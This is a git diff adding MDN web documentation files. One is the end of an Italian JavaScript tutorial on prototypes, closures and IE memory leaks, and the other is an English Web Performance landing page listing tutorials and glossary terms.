+<p>Così va meglio: stiamo creando i metodi della funzione una sola volta, e assegnando ad essi i riferimenti all'interno del costruttore. Possiamo fare di meglio? La risposta è sì:</p>
+
+<pre class="brush: js notranslate">function Person(first, last) {
+    this.first = first;
+    this.last = last;
+}
+Person.prototype.fullName = function() {
+    return this.first + ' ' + this.last;
+}
+Person.prototype.fullNameReversed = function() {
+    return this.last + ', ' + this.first;
+}
+</pre>
+
+<p><code>Person.prototype</code> è un oggetto condiviso da tutte le istanze di <code>Person</code>. Essa fa parte di una catena di ricerca (che ha un nome speciale, "catena di prototipi"): ogni volta che si tenta di accedere ad una proprietà di <code>Person</code> che non è impostata, JavaScript controllerà <code>Person.prototype</code> per vedere se quella proprietà esiste al suo interno. Come risultato, qualsiasi valore assegnato a <code>Person.prototype</code> diventa disponibile a tutte le istanze del costruttore per mezzo dell'oggetto <code>this</code>.</p>
+
+<p>Si tratta di uno strumento incredibilmente potente. JavaScript consente di modificare il prototipo di qualcosa in qualsiasi momento nel programma, il che significa che è possibile aggiungere metodi extra per gli oggetti esistenti in fase di esecuzione:</p>
+
+<pre class="brush: js notranslate">&gt; s = new Person("Simon", "Willison");
+&gt; s.firstNameCaps();
+TypeError on line 1: s.firstNameCaps is not a function
+&gt; Person.prototype.firstNameCaps = function() {
+    return this.first.toUpperCase()
+}
+&gt; s.firstNameCaps()
+SIMON
+</pre>
+
+<p>È interessante notare che è anche possibile aggiungere le cose al prototipo degli oggetti nativi JavaScript. Aggiungiamo un metodo a <code>String</code> che restituisca la stringa al contrario:</p>
+
+<pre class="brush: js notranslate">&gt; var s = "Simon";
+&gt; s.reversed()
+TypeError on line 1: s.reversed is not a function
+&gt; String.prototype.reversed = function() {
+    var r = "";
+    for (var i = this.length - 1; i &gt;= 0; i--) {
+        r += this[i];
+    }
+    return r;
+}
+&gt; s.reversed()
+nomiS
+</pre>
+
+<p>Il nostro nuovo metodo funziona anche con le stringhe letterali!</p>
+
+<pre class="brush: js notranslate">&gt; "This can now be reversed".reversed()
+desrever eb won nac sihT
+</pre>
+
+<p>Come detto prima, il prototipo fa parte di una catena. La radice di questa catena è <code>Object.prototype</code>, i cui metodi includono <code>toString()</code> — è questo metodo che viene chiamato quando si tenta di rappresentare un oggetto come una stringa. Questo è utile per verificare il nostro oggetto <code>Person</code>:</p>
+
+<pre class="brush: js notranslate">&gt; var s = new Person("Simon", "Willison");
+&gt; s
+[object Object]
+&gt; Person.prototype.toString = function() {
+    return '&lt;Person: ' + this.fullName() + '&gt;';
+}
+&gt; s
+&lt;Person: Simon Willison&gt;
+</pre>
+
+<p>Ricordate come <code>avg.apply()</code> aveva un primo argomento nullo? Possiamo riesaminarlo adesso. Il primo argomento di <code>apply()</code> è l'oggetto che dovrebbe essere trattato come '<code>this</code>'. Per esempio, qui una semplice implementazione di '<code>new</code>':</p>
+
+<pre class="brush: js notranslate">function trivialNew(constructor) {
+    var o = {}; // Create an object
+    constructor.apply(o, arguments);
+    return o;
+}
+</pre>
+
+<p>Questa non è un'esatta replica di <code>new</code> in quanto non imposta la catena del prototipo<span style="line-height: 1.5;"> (sarebbe difficile da illustrare). Non è una cosa che si usa molto spesso, ma è utile conoscerla. In questo snippet, </span><code style="font-style: normal; line-height: 1.5;">...args</code><span style="line-height: 1.5;"> (puntini inclusi) è chiamato il "</span><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/rest_parameters" style="line-height: 1.5;">rest arguments</a><span style="line-height: 1.5;">" – come indicato dal nome, e contiene il resto degli argomenti. Per ora, questa "feature" è sperimentale e solo disponibile in Firefox; è raccomandato attaccare gli </span><code style="font-style: normal; line-height: 1.5;">arguments</code><span style="line-height: 1.5;"> per ora.</span></p>
+
+<p><span style="line-height: 1.5;">Chiamare</span></p>
+
+<pre class="brush: js  language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal; color: rgb(77, 78, 83);"><code class="language-js" style="font-family: Consolas, Monaco, 'Andale Mono', monospace; direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> bill <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="function token" style="color: #dd4a68;">trivialNew<span class="punctuation token" style="color: #999999;">(</span></span>Person<span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">"William"</span><span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">"Orange"</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span></code></pre>
+
+<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 0px; background: 0px 0px;"></div>
+
+<p>è dunque quasi equivalente a</p>
+
+<pre class="brush: js  language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal; color: rgb(77, 78, 83);"><code class="language-js" style="font-family: Consolas, Monaco, 'Andale Mono', monospace; direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa; font-style: inherit; font-weight: inherit;">var</span><span style="color: inherit; font-style: inherit; font-weight: inherit;"> bill</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="keyword token" style="color: #0077aa;">new</span> <span class="class-name token">Person</span><span class="punctuation token" style="color: #999999;">(</span><span class="string token" style="color: #669900;">"William"</span><span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">"Orange"</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span></code></pre>
+
+<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 0px; background: 0px 0px;"></div>
+
+<p><code style="font-style: normal; line-height: 1.5;">apply()</code><span style="line-height: 1.5;"> ha una funzione sorella dal nome </span><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/call" style="line-height: 1.5;" title="JavaScript/Reference/Global_Objects/Function/call"><code>call</code></a><span style="line-height: 1.5;">, che di nuovo ti consente di impostare '</span><code style="font-style: normal; line-height: 1.5;">this</code><span style="line-height: 1.5;">' ma prende una lista espansa di argomenti invece che un array.</span></p>
+
+<pre class="brush: js notranslate">function lastNameCaps() {
+    return this.last.toUpperCase();
+}
+var s = new Person("Simon", "Willison");
+lastNameCaps.call(s);
+// Is the same as:
+s.lastNameCaps = lastNameCaps;
+s.lastNameCaps();
+</pre>
+
+<h2 id="Inner_functions">Inner functions</h2>
+
+<p>In JavaScript è consentito dichiarare una funzione all'interno di un'altra funzione. Lo abbiamo già visto prima, nel caso della precedente funzione <code>makePerson()</code>. Un dettaglio importante di funzioni innestate in JavaScript è che esse possono accedere alle variabili della funzione di livello superiore:</p>
+
+<pre class="brush: js notranslate">function betterExampleNeeded() {
+    var a = 1;
+    function oneMoreThanA() {
+        return a + 1;
+    }
+    return oneMoreThanA();
+}
+</pre>
+
+<p>Ciò è di grande utilità per scrivere codice più manutenibile. Se una funzione dipende da una o due altre funzioni che non sono usate in nessuna altra parte del tuo codice, è possibile nidificare quelle funzioni di utilità dentro la funzione che sarà chiamata dall'esterno. Questo riduce il numero di funzioni che si trovano nel "global scope", che è sempre una buona cosa.</p>
+
+<p>Questa è anche una grande cosa contro il richiamo di variabili globali. Quando si scrive codice complesso si è spesso tentati di usare variabili globali per condividere i valori tra più funzioni — e ciò rende il codice difficile da manutenere. Le funzioni nidificate possono condividere le variabili della funzione padre, così è possibile usare questo meccanismo per accoppiare le funzioni quando serve, senza contaminare il tuo namespace globale — rendi locali le variabili globali per piacere. Questa tecnica dovrebbe essere usata con parsimonia, ma è una capacità utile da avere.</p>
+
+<h2 id="Closures">Closures</h2>
+
+<p>Questo ci porta ad una delle più potenti astrazioni che JavaScript ha da offrire — ma anche quella che può generare più confusione. Cosa fa questo codice sotto?</p>
+
+<pre class="brush: js notranslate">function makeAdder(a) {
+    return function(b) {
+        return a + b;
+    }
+}
+x = makeAdder(5);
+y = makeAdder(20);
+x(6)
+?
+y(7)
+?
+</pre>
+
+<p>Il nome della funzione <code>makeAdder</code> dovrebbe essere esplicito: essa può creare delle nuove funzioni 'adder', che, se chiamate con un determinato argomento, lo addizionano all'argomento con il quale sono state create.</p>
+
+<p>Quello che sta avvenendo qui è praticamente la stessa cosa vista precedentemente con le "inner functions": una funzione definita dentro un'altra funzione ha accesso alle variabili della funzione esterna. La sola differenza è che in questo caso la funzione esterna ha già restituito il suo risultato, e quindi il senso comune sembrerebbe indicare che le sue variabili locali non siano più disponibili. Ma esse esistono ancora — altrimenti le funzioni "adder" non sarebbero capaci di lavorare. Quello che c'è di più è che ci sono due "copie" differenti delle variabili locali di <code>makeAdder</code> — una nella quale <code>a</code> è 5 e una nella quale <code>a</code> è 20. Così il risultato di quelle chiamate di funzione è il seguente:</p>
+
+<pre class="brush: js notranslate">x(6) // returns 11
+y(7) // returns 27
+</pre>
+
+<p>Ecco cosa sta effettivamente avvenendo. Quando JavaScript esegue una funzione, viene creato un oggetto con il proprio ambito di visibilità ('scope object') per trattenere le variabili locali di quella funzione. Esso è inizializzato con tutte le variabili passate in ingresso alla funzione come parametri. Ciò è simile all'oggetto globale in cui si trovano tutte le variabili globali e le funzioni, ma con una paio di differenze importanti: primo, un nuovo 'scope object' etichettato è creato ogni volta che una funzione inizia l'esecuzione, e secondo, a differenza dell'oggetto globale (che nei bowser è accessibile come 'window') non si può accedere direttamente a questi 'scope object' dal tuo codice JavaScript. Ad esempio non c'è nessun meccanismo per iterare sulle proprietà dello 'scope object' corrente.</p>
+
+<p>Quindi, quando <code>makeAdder</code> è chiamato viene creato un oggetto scope con una proprietà: <code>a</code>, che è l'argomento passato alla funzione <code>makeAdder</code> . A questo punto <code>makeAdder</code> restituisce quindi una funzione appena creata. Normalmente il raccoglitore di rifiuti  di JavaScript eliminerebbe l'oggetto scope creato per <code>makeAdder</code> , ma la funzione restituita mantiene un riferimento a tale oggetto scope. Di conseguenza l'oggetto scope non verrà eliminato finchè non ci saranno più riferimenti all'oggetto che la funzione <code>makeAdder</code> restituisce.</p>
+
+<p>Gli oggetti scope formano una catena chiamata 'scope chain', simile alla catena di prototipi, 'prototype chain', del sistema a oggetti di JavaScript.</p>
+
+<p>Una <strong>closure</strong> è la combinazione di una funzione e dell'oggetto scope in cui è stata creata.</p>
+
+<p>Le closures ti consentono di salvare lo stato e in quanto tali, possono spesso essere utilizzate al posto degli oggetti. Puoi trovare <a class="external" href="http://stackoverflow.com/questions/111102/how-do-javascript-closures-work" style="line-height: 1.5;">alcune eccellenti introduzioni alle closures</a> (in lingua inglese).</p>
+
+<h3 id="Memory_leaks">Memory leaks</h3>
+
+<pre dir="ltr" id="tw-target-text"> Uno sfortunato effetto collaterale delle chiusure è il rendere facile perdere memoria
+ su Internet Explorer. JavaScript alloca gli oggetti nella memoria al momento della loro
+ creazione e tale memoria viene recuperata dal browser quando non rimangono riferimenti a un
+ oggetto.
+ Gli oggetti forniti dall'host vengono gestiti da quell'ambiente.
+
+ Gli host del browser devono gestire un gran numero di oggetti che rappresentano
+ la pagina HTML presentata: gli oggetti del DOM. Spetta al browser gestire l'assegnazione e
+ il recupero di questi.
+
+ Internet Explorer utilizza il proprio schema di raccolta dei rifiuti per questo,
+ separato dal meccanismo utilizzato da JavaScript.
+ È l'interazione tra i due che può causare perdite di memoria.
+
+Una perdita di memoria in IE si verifica ogni volta che viene formato un riferimento circolare
+tra un oggetto JavaScript e un oggetto nativo. Considera quanto segue:</pre>
+
+<pre class="brush: js notranslate">function leakMemory() {
+    var el = document.getElementById('el');
+    var o = { 'el': el };
+    el.o = o;
+}
+</pre>
+
+<p>Il riferimento circolare formato sopra crea una perdita di memoria;</p>
+
+<p>IE non libererà la memoria utilizzata da el fino al completo riavvio del browser. Il caso di cui sopra rischia di passare inosservato; le perdite di memoria diventano un problema reale solo nelle applicazioni a esecuzione prolungata o nelle applicazioni che perdono grandi quantità di memoria a causa di grandi strutture di dati o schemi di perdite all'interno dei loop. Le perdite sono raramente così ovvie: spesso la struttura dei dati trapelati può avere molti livelli di riferimenti, oscurando il riferimento circolare. Le chiusure rendono facile creare una perdita di memoria senza volerlo. Considera questo:</p>
+
+<pre class="brush: js notranslate">function addHandler() {
+    var el = document.getElementById('el');
+    el.onclick = function() {
+        this.style.backgroundColor = 'red';
+    }
+}
+</pre>
+
+<p>Il codice precedente imposta l'elemento in modo che diventi rosso quando viene cliccato. Crea anche una perdita di memoria. Perché? Perché il riferimento a el è inavvertitamente catturato nella chiusura creata per la funzione interna anonima. Questo crea un riferimento circolare tra un oggetto JavaScript (la funzione) e un oggetto nativo (el).</p>
+
+<pre class="script notranslate" style="font-size: 16px;">needsTechnicalReview();
+</pre>
+
+<p>Esistono numerose soluzioni per questo problema. Il più semplice è non usare la variabile el:</p>
+
+<pre class="brush: js notranslate">function addHandler(){
+    document.getElementById('el').onclick = function(){
+        this.style.backgroundColor = 'red';
+    }
+}
+</pre>
+
+<p>Sorprendentemente, un trucco per rompere i riferimenti circolari introdotti da una chiusura è aggiungere un'altra chiusura:</p>
+
+<pre class="brush: js notranslate">function addHandler() {
+    var clickHandler = function() {
+        this.style.backgroundColor = 'red';
+    };
+    (function() {
+        var el = document.getElementById('el');
+        el.onclick = clickHandler;
+    })();
+}
+</pre>
+
+<p>La funzione interna viene eseguita immediatamente, e nasconde il suo contenuto dalla chiusura creata con clickHandler. Un altro buon trucco per evitare le chiusure è rompere i riferimenti circolari durante l'evento window.onunload. Molte librerie di eventi lo faranno per te. Nota che così facendo si disabilita bfcache in Firefox 1.5, quindi non dovresti registrare un listener di scaricamento in Firefox, a meno che tu non abbia altri motivi per farlo.</p>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+
+<ul>
+ <li>Author: <a class="external" href="http://simon.incutio.com/">Simon Willison</a></li>
+ <li>Last Updated Date: March 7, 2006</li>
+ <li>Copyright: © 2006 Simon Willison, contributed under the Creative Commons: Attribute-Sharealike 2.0 license.</li>
+ <li>More information: For more information about this tutorial (and for links to the original talk's slides), see Simon's <a class="external" href="http://simon.incutio.com/archive/2006/03/07/etech">Etech weblog post</a>.</li>
+</ul>
+</div>
diff --git a/files/it/web/performance/index.html b/files/it/web/performance/index.html
new file mode 100644
index 0000000000..cbcc4b1da2
--- /dev/null
+++ b/files/it/web/performance/index.html
@@ -0,0 +1,286 @@
+---
+title: Web Performance
+slug: Web/Performance
+tags:
+  - Landing
+  - NeedsTranslation
+  - Performance
+  - TopicStub
+  - Web Performance
+translation_of: Web/Performance
+---
+<p><span class="seoSummary">Web performance is the objective measurements and the perceived user experience of load time and runtime. Web performance is how long a site takes to load, become interactive and responsive, and how smooth the content is during user interactions </span>- is the scrolling smooth? are buttons clickable? Are pop-ups quick to open up, and do they animate smoothly as they do so? Web performance includes both objective measurements like time to load, frames per second, and time to interactive, and subjective experiences of how long it felt like it took the content to load.</p>
+
+<p>The longer it takes for a site to respond, the more users will abandon the site. It is important to minimize the loading and response times, and add additional features to conceal latency by making the experience as available and interactive as possible, as soon as possible, while asynchronously loading in the longer tail parts of the experience.</p>
+
+<p>There are tools, APIs, and best practices that help us measure and improve web performance. We cover them in this section</p>
+
+<h2 id="In_this_section">In this section</h2>
+
+<p>{{LandingPageListSubpages}}</p>
+
+<div class="cleared topicpage-table">
+<div class="section">
+<h2 id="Selected_tutorials">Selected tutorials</h2>
+
+<p>The MDN <a href="/en-US/docs/Learn/Performance">Web Performance Learning Area</a> contains modern, up-to-date tutorials covering Performance essentials:</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Performance/What_is_web_performance">What is web performance</a></dt>
+ <dd>This article starts the module off with a good look at what Performance actually is — this includes the tools, metrics, APIs, networks, and groups of people we need to consider when thinking about performance, and how we can make Performance part of our web development workflow.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/web_performance_basics">Web Performance Basics</a></dt>
+ <dd>In addition to the front end components of HTML, CSS, JavaScript, and media files, there are features that can make applications slower and features that can make applications subjectively and objectively faster. There are many APIs, Developer Tools, best practices and bad practices relating to web performance. Here we'll introduce many of these features ad the basic level and provide links to deeper dives to improve performance for each topic.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/perceived_performance">How do users perceive performance?</a></dt>
+ <dd>
+ <p>More important than how fast your website is in milliseconds, is how fast do your users perceive your site to be. Page load time, idling, responsiveness to user interaction, and the smoothness of scrolling and other animations impact these perceptions. In this article, we discuss the various loading metrics, animation, and responsiveness metrics, along with best practices to improve user perception, if not the actual timings.</p>
+ </dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Multimedia">Multimedia: Images and Video</a></dt>
+ <dd>Frequently, media optimization is the lowest hanging fruit of web performance. Serving different media files based on each user agent's capability, size, and pixel density is possible. Additional tips, like removing audio tracks from background images, can improve performance even further. In this article, we discuss the impact video, audio, and image content has on performance, and the methods to ensure that impact is as minimal as possible.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/CSS_performance">CSS performance features</a></dt>
+ <dd>CSS may be a less important optimization focus for improved performance, but there are some CSS features that impact performance more than others. In this article, we look at some CSS properties that impact performance and suggested ways of handling styles to ensure performance is not negatively impacted.</dd>
+</dl>
+
+<dl>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Other_documentation" id="Other_documentation" name="Other_documentation">Using Performance APIs</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Performance_API/Using_the_Performance_API">Performance API</a></dt>
+ <dd>This guide describes how to use the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Performance" title="The Performance interface provides access to performance-related information for the current page. It's part of the High Resolution Time API, but is enhanced by the Performance Timeline API, the Navigation Timing API, the User Timing API, and the Resource Timing API."><code>Performance</code></a> interfaces that are defined in the <a class="external external-icon" href="https://w3c.github.io/hr-time/" rel="noopener">High-Resolution Time</a> standard.</dd>
+ <dt><a href="/en-US/docs/Web/API/Resource_Timing_API/Using_the_Resource_Timing_API">Resource Timing API</a></dt>
+ <dd><a href="/en-US/docs/Web/API/Resource_Timing_API">Resource loading and timing</a> the loading of those resources, including managing the resource buffer and coping with CORS</dd>
+ <dt><a href="/en-US/docs/Web/API/Performance_Timeline/Using_Performance_Timeline">The performance timeline</a></dt>
+ <dd>The <a href="/en-US/docs/Web/API/Performance_Timeline">Performance Timeline</a> standard defines extensions to the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Performance" title="The Performance interface provides access to performance-related information for the current page. It's part of the High Resolution Time API, but is enhanced by the Performance Timeline API, the Navigation Timing API, the User Timing API, and the Resource Timing API."><code>Performance</code></a> interface to support client-side latency measurements within applications. Together, these interfaces can be used to help identify an application's performance bottlenecks.</dd>
+ <dt><a href="/en-US/docs/Web/API/User_Timing_API/Using_the_User_Timing_API">User Timing API</a></dt>
+ <dd>Create application specific timestamps using the <a href="/en-US/docs/Web/API/User_Timing_API">user timing API</a>'s "mark" and "measure" entry types - that are part of the browser's performance timeline.</dd>
+ <dt><a href="/en-US/docs/Web/API/Frame_Timing_API/Using_the_Frame_Timing_API">Frame Timing API</a></dt>
+ <dd>The <code><a href="/en-US/docs/Web/API/PerformanceFrameTiming">PerformanceFrameTiming</a></code> interface provides <em>frame</em> timing data about the browser's event loop.</dd>
+ <dt><a href="/en-US/docs/Web/API/Beacon_API/Using_the_Beacon_API">Beacon API</a></dt>
+ <dd><small>The <a href="/en-US/docs/Web/API/Beacon_API">Beacon</a> interface schedules an asynchronous and non-blocking request to a web server.</small></dd>
+ <dt><a href="/en-US/docs/Web/API/Intersection_Observer_API/Timing_element_visibility">Intersection Observer API</a></dt>
+ <dd>Learn to time element visibility with the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer API</a> and be asynchronously notified when elements of interest becomes visible.</dd>
+</dl>
+
+<h2 class="Other_documentation" id="Other_documentation" name="Other_documentation">Other documentation</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Tools/Performance">Developer Tools Performance Features</a></dt>
+ <dd>This section provides information on how to use and understand the performance features in your developer tools, including <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a>, <a href="/en-US/docs/Tools/Performance/Call_Tree">Call Tree</a>, and <a href="/en-US/docs/Tools/Performance/Flame_Chart">Flame Charts</a>.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Understanding_latency">Understanding Latency</a></dt>
+ <dd>Latency is the amount of time it takes between the browser making a request for a resource, and the browser receiving back the first byte of the resource requested. This article explains what latency is, how it impacts performance, how to measure latency, and how to reduce it.</dd>
+</dl>
+</div>
+</div>
+
+<h2 id="Glossary_Terms">Glossary Terms</h2>
+
+<div class="index">
+<ul class="index">
+ <li>{{glossary('Beacon')}}</li>
+ <li>{{glossary('Brotli compression')}}</li>
+ <li>{{glossary('Client hints')}}</li>
+ <li>{{glossary('Code splitting')}}</li>
+ <li>{{glossary('CSSOM')}}</li>
+ <li>{{glossary('Domain sharding')}}</li>
+ <li>{{glossary('Effective connection type')}}</li>
+ <li>{{glossary('First contentful paint')}}</li>
+ <li>{{glossary('First CPU idle')}}</li>
+ <li>{{glossary('First input delay')}}</li>
+ <li>{{glossary('First interactive')}}</li>
+ <li>{{glossary('First meaningful paint')}}</li>
+ <li>{{glossary('First paint')}}</li>
+ <li>{{glossary('HTTP')}}</li>
+ <li>{{glossary('HTTP_2', 'HTTP/2')}}</li>
+ <li>{{glossary('Jank')}}</li>
+ <li>{{glossary('Latency')}}</li>
+ <li>{{glossary('Lazy load')}}</li>
+ <li>{{glossary('Long task')}}</li>
+ <li>{{glossary('Lossless compression')}}</li>
+ <li>{{glossary('Lossy compression')}}</li>
+ <li>{{glossary('Main thread')}}</li>
+ <li>{{glossary('Minification')}}</li>
+ <li>{{glossary('Network throttling')}}</li>
+ <li>{{glossary('Packet')}}</li>
+ <li>{{glossary('Page load time')}}</li>
+ <li>{{glossary('Page prediction')}}</li>
+ <li>{{glossary('Parse')}}</li>
+ <li>{{glossary('Perceived performance')}}</li>
+ <li>{{glossary('Prefetch')}}</li>
+ <li>{{glossary('Prerender')}}</li>
+ <li>{{glossary('QUIC')}}</li>
+ <li>{{glossary('RAIL')}}</li>
+ <li>{{glossary('Real User Monitoring')}}</li>
+ <li>{{glossary('Resource Timing')}}</li>
+ <li>{{glossary('Round Trip Time (RTT)')}}</li>
+ <li>{{glossary('Server Timing')}}</li>
+ <li>{{glossary('Speculative parsing')}}</li>
+ <li>{{glossary('Speed index')}}</li>
+ <li>{{glossary('SSL')}}</li>
+ <li>{{glossary('Synthetic monitoring')}}</li>
+ <li>{{glossary('TCP handshake')}}</li>
+ <li>{{glossary('TCP slow start')}}</li>
+ <li>{{glossary('Time to first byte')}}</li>
+ <li>{{glossary('Time to interactive')}}</li>
+ <li>{{glossary('TLS')}}</li>
+ <li>{{glossary('TCP', 'Transmission Control Protocol (TCP)')}}</li>
+ <li>{{glossary('Tree shaking')}}</li>
+ <li>{{glossary('Web performance')}}</li>
+</ul>
+</div>
+
+<h2 id="Documents_yet_to_be_written">Documents yet to be written</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Performance/JavaScript">JavaScript performance best practices</a></dt>
+ <dd>JavaScript, when used properly, can allow for interactive and immersive web experiences ... or it can significantly harm download time, render time, in app performance, battery life, and user experience. <span class="veryhardreadability"><span><span>This article outlines some JavaScript best practices that can ensure even complex content is as performant as possible.</span></span></span></dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Mobile">Mobile performance</a></dt>
+ <dd>With web access on mobile devices being so popular, and all mobile platforms having fully-fledged web browsers, but possibly limited bandwidth, CPU and battery life, it is important to consider the performance of your web content on these platforms. This article looks at mobile-specific performance considerations.</dd>
+ <dt>Performance bottlenecks</dt>
+ <dd></dd>
+ <dt>Understanding bandwidth</dt>
+ <dd>
+ <div>
+ <div class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr"><span><span>Bandwidth is the amount of data (measured in Mbps or Kbps) that one can send per second. </span></span><span class="veryhardreadability"><span><span>This article explains the role of bandwidth in media-rich internet applications, how you can measure it, and how you can optimize applications to make the best use of available bandwidth</span></span></span><span><span>.</span></span></div>
+ </div>
+ </dd>
+ <dt><a href="/en-US/docs/Learn/Performance/HTTP2">HTTP/2 and you</a></dt>
+ <dd>
+ <p>The transport layer—that is, HTTP—is utterly essential to the functioning of the web, and it has only been relatively recently that it has seen a major update in the form of HTTP/2. Out of the box, HTTP/2 provides many performance improvements and advantages over its predecessor, but it also changes the landscape. In this article, you'll learn what HTTP/2 does for you, and how to fine-tune your application to make it do go even further.</p>
+ </dd>
+ <dt>The role of TLS in performance</dt>
+ <dd>
+ <p>TLS—or HTTPS as we tend to call it—is crucial in creating secure and safe user experiences. While hardware has reduced the negative impacts TLS has had on server performance, it still represents a substantial slice of the time we spend waiting for browsers to connect to servers. This article explains the TLS handshake process, and offers some tips for reducing this time, such as OCSP stapling, HSTS preload headers, and the potential role of resource hints in masking TLS latency for third parties.</p>
+ </dd>
+ <dt>Reading performance charts</dt>
+ <dd>Developer tools provide information on performance, memory, and network requests. Knowing how to read <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Waterfall">waterfall</a> charts, <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Call_Tree">call trees</a>, traces, <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Flame_Chart">flame charts</a> , and <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Allocations">allocations</a> in your browser developer tools will help you understand waterfall and flame charts in other performance tools.</dd>
+ <dt>Analyzing JavaScript bundles</dt>
+ <dd>No doubt, JavaScript is a big part of modern web development. While you should always strive to reduce the amount of JavaScript you use in your applications, it can be difficult to know where to start. <span class="veryhardreadability"><span><span>In this guide, we'll show you how to analyze your application's script bundles, so you know </span></span><em><span>what</span></em><span><span> you're using, as well how to detect if your app contains duplicated scripts between bundles</span></span></span><span><span>.</span></span></dd>
+ <dt><a href="/en-US/docs/Web/Performance/Lazy_loading">Lazy loading</a></dt>
+ <dd>It isn't always necessary to load all of a web applications assets on initial page load. Lazy Loading is defering the loading of assets on a page, such as scripts, images, etc., on a page to a later point in time – when those assets are actually needed.</dd>
+ <dt>Lazy-loading JavaScript with import()</dt>
+ <dd>The term "lazy loading" often refers to load deferment techniques for assets not needed at load such as loading below-the-fold imagery only when those images scroll into the view. Now there are native features to load JavaScript! In this guide, we'll talk about the dynamic import() statement, a newer browser feature, that loads a JavaScript module on demand.</dd>
+ <dt><a href="/en-US/docs/Web/Performance/Controlling_resource_delivery_with_resource_hints">Controlling resource delivery with resource hints</a></dt>
+ <dd>Browsers often know better than we do when it comes to resource prioritization and delivery—but they're far from clairyovant. Native browser features enable us to hint to the browser when it should connect to another server, or preload a resource before the browser knows it ever needs it. When used judiciously, this can make fast experience seem even faster. In this article, we cover native browser features like rel=preconnect, rel=dns-prefetch, rel=prefetch, and rel=preload, and how to use them to your advantage.</dd>
+ <dt><a href="/en-US/docs/Web/Performance/Performance_budget">Performance Budgets</a></dt>
+ <dd>Marketing, design, and sales needs, and developer experience, often ad bloat, third-party scripts, and other features that can slow down web performance. To help set priorities, it is helpful to set a performance budget: a set of restrictions to not exceed during the development phase. In this article, we'll discuss creating and sticking to a performance budget. </dd>
+ <dt><a href="/en-US/docs/Web/Performance/Checklist">Web performance checklist</a></dt>
+ <dd>A performance checklist of features to consider when developing applications with links to tutorials on how to implement each features, include service workers, diagnosing performance problems, font loading best practices, client hints, creating performant animations, etc.</dd>
+ <dt><a href="/en-US/docs/Web/Performance/Mobile_performance_checklist">Mobile performance checklist</a></dt>
+ <dd>A concise checklist of performance considerations impacting mobile network users on hand-held, battery operated devices.</dd>
+</dl>
+
+<h3 id="App_Performance">App Performance</h3>
+
+<dl>
+ <dt><a href="/en-US/Apps/Developing/Performance/Performance_fundamentals">Performance fundamentals</a></dt>
+ <dd>A wide overview of Web application performance, what it is, how the browser helps to improve it, and what tools and processes you can use to test and further improve it.</dd>
+ <dt><a href="/en-US/Apps/Developing/Performance/Optimizing_startup_performance">Optimizing startup performance</a></dt>
+ <dd>Tips and suggestions to help you improve startup performance, both when writing a new app and when porting an app from another platform to the Web.</dd>
+ <dt><a href="/en-US/docs/Performance/Profiling_with_the_Built-in_Profiler">Profiling with the built-in profiler</a></dt>
+ <dd>Learn how to profile app performance with Firefox's built-in profiler.</dd>
+ <dt><a href="/en-US/Apps/Build/Performance/CSS_JavaScript_animation_performance">CSS and JavaScript animation performance</a></dt>
+ <dd>Animations are critical for a pleasurable user experience. This article discusses the performance differences between CSS- and JavaScript-based animations. </dd>
+</dl>
+
+<p><span class="alllinks"><a href="/en-US/docs/tag/Performance">View all articles about performance...</a></span></p>
+
+<h2 id="See_also">See also</h2>
+
+<p>HTML</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Element/picture">The <code>&lt;picture&gt;</code> Element</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Element/video">The <code>&lt;video&gt;</code> Element</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Element/source">The <code>&lt;source&gt;</code> Element</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Element/img#Attributes">The <code>&lt;img&gt; srcset</code> attribute</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Responsive images</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/HTML/Preloading_content">Preloading content with <code>rel="preload"</code></a> - <a href="https://w3c.github.io/preload/">(https://w3c.github.io/preload/ </a>)</li>
+</ul>
+
+<p>CSS</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/will-change">will-change</a></li>
+ <li>GPU v CPU</li>
+ <li>Measuring layout</li>
+ <li>font-loading best practices</li>
